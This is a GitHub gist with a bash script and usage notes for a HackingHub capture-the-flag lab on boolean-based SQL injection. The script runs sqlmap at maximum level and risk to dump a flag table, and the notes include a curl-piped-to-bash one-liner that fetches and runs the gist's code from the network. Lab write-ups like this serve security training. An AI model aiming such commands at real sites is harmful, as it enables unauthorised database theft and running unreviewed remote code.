Last active
September 3, 2024 00:40
-
-
Save richardevcom/8ecfe76937db4d761bdb203d28c25ebc to your computer and use it in GitHub Desktop.
HackingHub - Capture flag in "Boolean Based SQL Injection" challange using SQLMap
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Challange: https://app.hackinghub.io/hubs/interactive-sqli-boolean | |
#!/bin/bash | |
apt update | |
apt install -y sqlmap | |
# Provide injectable URL for this script | |
# URL="https://dc9zxy0y.eu2.ctfio.com/api/checkuser?username=adam" && curl -sL https://gist.githubusercontent.com/richardevcom/8ecfe76937db4d761bdb203d28c25ebc/raw | bash -s -- "$URL" | |
URL=$1 | |
sqlmap -u $URL \ | |
--dbms=mysql --technique=B --level=5 --risk=3 --not-string="\"taken\":false" \ | |
--dump -D sqli_three -T flag -C flag --batch |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Challange: Boolean Based SQL Injection
https://dc9zxy0y.eu2.ctfio.com
);/api/checkuser?username=adam
to the url;URL="https://dc9zxy0y.eu2.ctfio.com/api/checkuser?username=adam" && curl -sL https://gist.githubusercontent.com/richardevcom/8ecfe76937db4d761bdb203d28c25ebc/raw | bash -s -- "$URL"
will return: